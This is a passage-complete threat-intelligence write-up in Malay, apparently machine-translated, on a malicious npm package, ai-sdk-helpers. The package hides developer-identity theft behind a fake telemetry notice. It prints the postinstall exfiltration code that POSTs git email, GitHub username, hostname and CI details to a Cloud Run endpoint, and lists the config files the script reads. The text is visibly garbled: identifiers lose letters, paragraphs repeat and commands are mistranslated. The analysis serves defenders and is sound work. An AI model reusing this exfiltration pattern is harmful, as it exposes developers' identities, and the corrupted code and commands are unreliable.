TL; DR
Satu pakej npm, ai-sdk-helpers, menampilkan dirinya sebagai kit alat pengeluaran untuk Vercel AI SDK, yang menawarkan penjejakan kos, sandaran penyedia dan pembantu penstriman.
Skrip masa pemasangannya dibuka dengan sepanduk pendedahan yang digilap yang menerangkan diagnostik tanpa nama, menjanjikan bahawa tiada kod sumber, token atau kelayakan dihantar, menghormati DO_NOT_TRACK pilih keluar dan memautkan ke halaman dasar telemetri.
Skrip yang sama kemudian membaca identiti git pembangun, konfigurasi CLI GitHub, nama hos mesin, nama pengguna OS, direktori kerja dan penyedia CI.
Data tersebut diposkan sebagai JSON ke titik akhir Google Cloud Run, mewujudkan ketidakpadanan yang jelas antara dasar telemetri yang dinyatakan dan medan sebenar yang dikumpul.
Pakej ini diterbitkan dalam dua puluh dua versi dalam satu letusan 83 saat, dan skrip pemasangan adalah sama bait demi bait merentasi setiap versi yang ditandai.
Tujuh daripada lapan versi yang diulas oleh kami pipeline dijaringkan tidak muktamad oleh pengelas ML kerana penggayaan sepanduk persetujuan berbunyi seperti telemetri yang sah.
Kami mengklasifikasikan ai-sdk-helpers sebagai berniat jahat berdasarkan pengumpulan identiti pembangun masa pemasangan dan penapisan keluar.
Keterukan: tinggi.
Anatomi pemasangan
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } selepas pemasangan berjalan secara automatik pada npm memasang, sebelum mana-mana kod yang diiklankan dalam pakej diimport. Skrip skrip/postinstall.js ialah tempat semua tingkah laku masa pemasangan berada.
Ia dibuka dengan blok komen dan notis runtime yang ditulis dalam daftar projek sumber terbuka yang mementingkan privasi:
>Apabila anda memasang ai-sdk-helpers, kami menjalankan semakan keserasian persekitaran yang pantas dan melaporkan diagnostik tanpa nama… Data adalah tanpa nama sepenuhnya — kami mengumpul platform anda, versi Nod dan hash sehala pengecam mesin anda. Tiada kod sumber, token atau kelayakan yang pernah dihantar.
Ia juga memasang pintu keluar yang berfungsi, kod boleh laku pertama dalam fail:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } mengikat pintu pagar ini terlebih dahulu adalah apa yang menjadikan selebihnya dibaca sebagai persetujuan: seorang pemaju yang menetapkan `D_TIDAK_JEJAK` Memastikan pemasangan selesai secara senyap dan menyimpulkan pakej tersebut menghormati konvensyen. Pilihan keluar yang dihormati adalah nyata. Apa yang ia perolehi, bagi sesiapa yang tidak menetapkannya, ialah koleksi yang diterangkan di bawah — bukan "platform, versi Node dan hash sehala" yang lebih sempit yang dinamakan oleh notis itu.
Di bawah pintu itu, skrip memasang muatan yang melebihi penerangan itu.
- *Gidentiti t.* rmenyelesaikanScmIdentiti()` kepala `~.gitconfig`,`~.config/git/config`,dan projek semasa `.ia/konfigurasi`,menghuraikan `[ser]` ection, dan mengembalikan yang dikonfigurasikan commit e-mel. Jika tiada fail konfigurasi yang menghasilkan e-mel, ia akan kembali kepada `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,dan `EAIL` pembolehubah persekitaran. Dokumen di atas fungsi membingkai bacaan sebagai cara "untuk menyahduplikasi pemasangan merentasi mesin yang dimiliki oleh orang yang sama (cth. komputer riba + CI)" — tujuan yang dinyatakan yang memerlukan pengecam setiap pembangun yang stabil, yang mana a commit bekalan e-mel.
- *Gakaun tHub.* rselesaikanGitHubIdentity()` kepala `~.config/gh/hosts.yml` dan `~.config/gh/hosts.yaml` fail konfigurasi yang ditulis oleh GitHub CLI apabila pembangun mengesahkan — dan mengekstrak regex `uer:` dan `esakit:` medan. Fail tersebut juga menyimpan token GitHub OAuth; regex skrip menyasarkan nama pengguna dan baris e-mel secara khusus dan tidak mengekstrak token tersebut. Oleh itu, dakwaan "tiada token... pernah dihantar" pada sepanduk pendedahan adalah benar secara literal untuk medan tersebut semasa pengecam akaun di sekeliling dibaca dan dihantar.
- *Hcap jari st dan CI.* skrip itu kemudian mengumpul `o.namahos()`,`o.userInfo().nama pengguna`,Versi Nod, platform dan seni bina, `pproses.cwd()`,dan label penyedia CI diselesaikan dengan menyemak pembolehubah persekitaran untuk lapan penyedia (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite dan dua bendera CI generik). Senarai penyedia dibaca sebagai inventori tempat skrip dijangka akan dilaksanakan — shell interaktif dan binaan automatik pipelinesama.
Semua ini dikumpulkan ke dalam satu `dagnostik objek, dengan medan setiap pembangun yang dikumpulkan di bawah `ientiti ey dan data hos di bawah `rntime` dan `cntext` eys, kemudian bersiri dan dihantar:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Respons dibuang dan semua ralat ditelan — satu komen menyatakan bahawa “telemetri tidak boleh sekali-kali merosakkan pemasangan.” Nama hos titik akhir mengekod perkhidmatan Google Cloud Run dalam `etali-barat1` rantau.
Jurangnya adalah ceritanya. Sepanduk tersebut menamakan tiga kategori data — platform, versi Nod, hash pengenal mesin. Muatan menghantar git sebenar pembangun commit e-mel, nama pengguna dan e-mel GitHub mereka, nama hos mesin dan nama akaun OS mereka, laluan projek mereka dan persekitaran CI mereka. Medan yang mengenal pasti *prson dan akaun mereka* tepat-tepatnya medan yang dihilangkan oleh pendedahan itu.
README mengukuhkan pembingkaian dari sisi lain. Bahagian "Telemetri" mengulangi dakwaan anonimiti dan menghubungkan perkataan `D_TIDAK_JEJAK` o `cnsoledonottrack.com`,halaman komuniti sebenar yang mendokumentasikan konvensyen pilihan keluar — meminjam privasi yang diiktiraf standard untuk menjadikan notis itu dibaca sebagai rutin.
Timeline
Ini merupakan penemuan pakej tunggal dengan sejarah penerbitan yang sangat pendek dan padat. Tiada lengkungan kempen berbilang minggu untuk dikesan — keseluruhan julat versi telah didorong pada kelajuan mesin.
| Bila (UTC) | Acara |
|---|---|
| 2026-06-03 20:31:20 | Versi pertama (0.1.0) diterbitkan kepada npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Semua 22 versi (0.1.0 melalui 1.4.2) diterbitkan dalam letusan automatik selama 83 saat. |
| 2026-06-04 | Lapan versi ditandai dengan isyarat pengesanan; analisis manual mengesahkan pengumpulan identiti masa pemasangan dan penapisan ekskresi. Pakej kekal aktif pada npm pada masa analisis. |
Tetingkap 83 saat merentasi 22 versi semantik itu sendiri merupakan penunjuk tingkah laku: tangga versi (`01.0',`01.1',… `14.2`)membentangkan permukaan projek yang diselenggara secara aktif dengan sejarah keluaran, yang dihasilkan dalam satu larian skrip. Skrip pemasangan tidak berubah merentasi tangga itu — lihat di bawah.
Petunjuk kompromi
Muatan masa pemasangan adalah sama merentasi julat versi yang diterbitkan. A `dff` f `sripts/postinstall.js` antara versi `02.1` dan versi `14.2` tidak mengembalikan sebarang perbezaan; tingkah laku tersebut adalah satu cap jari tetap, bukan muatan yang berkembang.
rangkaian
Tetingkap 83 saat merentasi 22 versi semantik itu sendiri merupakan penunjuk tingkah laku: tangga versi (`01.0',`01.1',… `14.2`)membentangkan permukaan projek yang diselenggara secara aktif dengan sejarah keluaran, yang dihasilkan dalam satu larian skrip. Skrip pemasangan tidak berubah merentasi tangga itu — lihat di bawah.
Petunjuk kompromi
Muatan masa pemasangan adalah sama merentasi julat versi yang diterbitkan. A `dff` f `sripts/postinstall.js` antara versi `02.1` dan versi `14.2` tidak mengembalikan sebarang perbezaan; tingkah laku tersebut adalah satu cap jari tetap, bukan muatan yang berkembang.
rangkaian
| Petunjuk | Peranan |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Titik akhir pengekstrakan yang menerima permintaan HTTPS POST dengan muatan JSON. Dihoskan di Google Cloud Run dalam europe-west1 wilayah. |
Infrastruktur umpan
| Petunjuk | Peranan |
|---|---|
ai-sdk.guide | Laman utama pakej dan tapak langsung yang menyokong identiti pengarang "Panduan AI SDK". |
ai-sdk.guide/telemetry | URL dasar telemetri yang dirujuk dalam notis pendedahan masa pemasangan. |
hello@ai-sdk.guide | E-mel pengarang diisytiharkan dalam package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repositori sumber yang diisytiharkan oleh pakej. |
Fail dibaca semasa pemasangan
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mel
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `esakit
Tandatangan tingkah laku
- – m `pstinstall` ook menggunakan skrip Node yang dibundel
- – pintu keluar (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_TIDAK_JEJAK`)dibentangkan sebagai ciri privasi, sebelum pengumpulan identiti
- – tbound HTTPS POST bagi objek JSON yang mengandungi e-mel git, identiti GitHub, nama hos, nama pengguna OS, cwd dan label CI
- – skrip pemasangan te-identik merentasi tangga versi yang diterbitkan dengan pantas
Atribusi & Tingkah Laku yang Diperhatikan
Kami tidak mengaitkan apa-apa selain daripada apa yang direkodkan oleh metadata pakej dan pendaftaran.
Penyelenggara rekod npm ialah akaun `aielsimon`,dengan alamat `aiel@vigilance.security`.Daftar tersebut menyenaraikan e-mel tersebut sebagai tidak disahkan dan identiti kawalan sumber akaun sebagai tidak disahkan. `pckage.json`,secara berasingan, memperkenalkan pengarang sebagai “Panduan AI SDK`ello@ai-sdk.guide>`”dengan laman utama `a-sdk.panduan` dan repositori sumber di bawah `gorganisasi thub.com/ai-sdk-guide`. Domain e-mel akaun penerbitan (`vigilance.security`)dan identiti pengarang dalam pakej (`a-sdk.panduan`)adalah domain yang berbeza.
`a-sdk.panduan` ite sedang disiarkan secara langsung dan memberi respons, dan `/elemenmetri ath menyelesaikan — identiti umpan disokong oleh kehadiran web yang boleh dicapai dan bukannya pautan mati, yang meningkatkan kebolehpercayaan pembingkaian pakej.
**Keupayaan yang diperhatikan.** Pada masa pemasangan, pakej membaca identiti pembangun dan fail konfigurasi akaun, cap jari persekitaran hos dan CI dan menghantar hasilnya ke titik akhir yang dikawal oleh pengendali, sambil memaparkan notis yang menerangkan set data yang lebih sempit dan tanpa nama. Kami menerangkan tingkah laku ini; kami tidak menegaskan motif untuknya. Pembaca yang menilai pakej — termasuk mana-mana pihak yang mengenali identiti penerbitan — harus mempertimbangkan ketidakpadanan yang dapat diperhatikan antara aliran data yang dinyatakan dan sebenar.
Impak, trend dan panduan untuk pembela
Siapa yang terdedah. Sesiapa sahaja yang memasang ai-sdk-helpers — secara langsung atau sebagai kebergantungan transitif — menjalankan koleksi pada mesin tersebut. Kerana pencetusnya ialah selepas pemasangan, kod pustaka yang diiklankan tidak perlu diimport untuk aliran data berlaku; pemasangan sahaja sudah mencukupi. Persekitaran bernilai tertinggi ialah stesen kerja pembangun dengan identiti git yang dikonfigurasikan dan CLI GitHub yang disahkan, dan pelari CI, di mana pengesanan penyedia CI skrip menunjukkan koleksi dijangka berjalan di dalam binaan. pipelineserta pada komputer riba.
Apa yang didedahkannya. Bukan rahsia aplikasi dalam kes umum — muatan tertumpu pada identiti: pihak pemaju commit e-mel, nama akaun GitHub dan e-mel mereka, nama mesin dan akaun serta laluan projek. Itu adalah pracisPeta siapa yang memasang pakej, pada mesin apa, dalam repositori apa dan di bawah sistem CI yang mana. Bagi sesebuah organisasi, segelintir rekod sedemikian yang diambil bersama akan menyenaraikan jurutera mana dan sistem binaan mana yang menarik kebergantungan — berguna sebagai pendahulu kepada aktiviti susulan yang lebih disasarkan, walaupun tingkah laku pakej ini sendiri terhenti pada pengumpulan dan penghantaran.
Trendnya: telemetri sebagai penutup. Alat pembangun yang sah memang mengumpul diagnostik pemasangan tanpa nama dan konvensyen untuk melakukannya dengan hormat — notis pendedahan, a JANGAN_JEJAK honor, bendera pilihan keluar, URL dasar — sudah diketahui umum. ai-sdk-helpers menghasilkan semula keempat-empat konvensyen tersebut dengan setia dan menggunakannya sebagai pembalut untuk pengumpulan identiti. Kehadiran sepanduk persetujuan, pilihan keluar yang berfungsi atau pautan dasar privasi bukanlah bukti bahawa sesuatu pakej boleh dipercayai; kawalan tersebut tidak mahal untuk ditiru. Satu-satunya semakan yang boleh dipercayai ialah apa yang sebenarnya dibaca oleh kod dan di mana ia sebenarnya menghantarnya.
Pembungkusan ini juga mempunyai kesan yang boleh diukur pada triaj automatik. Merentasi versi kami pipeline disemak, komen bahasa mudah skrip pemasangan, nama medan berstruktur dan pintu keluar konvensional dijaringkan sebagai telemetri biasa: tujuh daripada lapan kembali tidak meyakinkan daripada pengelas ML dan bukannya berniat jahat. Isyarat yang menyelesaikan kekaburan itu bukan dalam prosa — ia berada dalam fail tertentu yang dibuka oleh skrip (~ / .gitconfig, ~/.config/gh/hosts.yml) dan destinasi yang dihantarnya. Pengulas, sama ada automatik atau manusia, yang membaca pendedahan dan berhenti di situ akan mencapai kesimpulan yang salah; penentuan perlu datang daripada fakta aliran data.
Panduan untuk pembela:
- Pasang dengan skrip dinyahdayakan secara lalai — npm pasang –abaikan-skrip, atau tetapkan abaikan-skrip=benar in .npmrc dan jalankan langkah binaan yang telah disemak secara eksplisit. Ini meneutralkan selepas pemasangan-pengumpulan yang dicetuskan secara menyeluruh.
- Jangan anggap kawalan pilih keluar sebagai isyarat kepercayaan. JANGAN_JEJAK semak atau pautan "dasar telemetri" tidak memberitahu anda apa-apa tentang data yang dikumpul oleh skrip apabila get tidak ditetapkan.
- Baca cangkuk pemasangan sebelum menerima pakai pakej pembantu ekosistem AI. Ruang SDK Vercel AI ialah sasaran yang bergerak pantas dan dipercayai; a selepas pemasangan yang menyentuh ~ / .gitconfig or ~/.config/gh/ merupakan isyarat yang jelas tanpa mengira bagaimana komen-komen di sekeliling ditulis.
- Pantau jalan keluar masa binaan. HTTPS POST keluar semasa npm memasang, terutamanya pada titik akhir fungsi awan yang baru diperuntukkan, boleh diperhatikan pada lapisan rangkaian dan merupakan titik pengesanan yang kukuh untuk persekitaran CI.
- Perhatikan tangga versi termampat. Pakej yang keseluruhan sejarah versi semantiknya muncul dalam beberapa saat, dengan skrip pemasangan yang tidak berubah, sedang membentangkan sejarah penyelenggaraan yang dihasilkan.





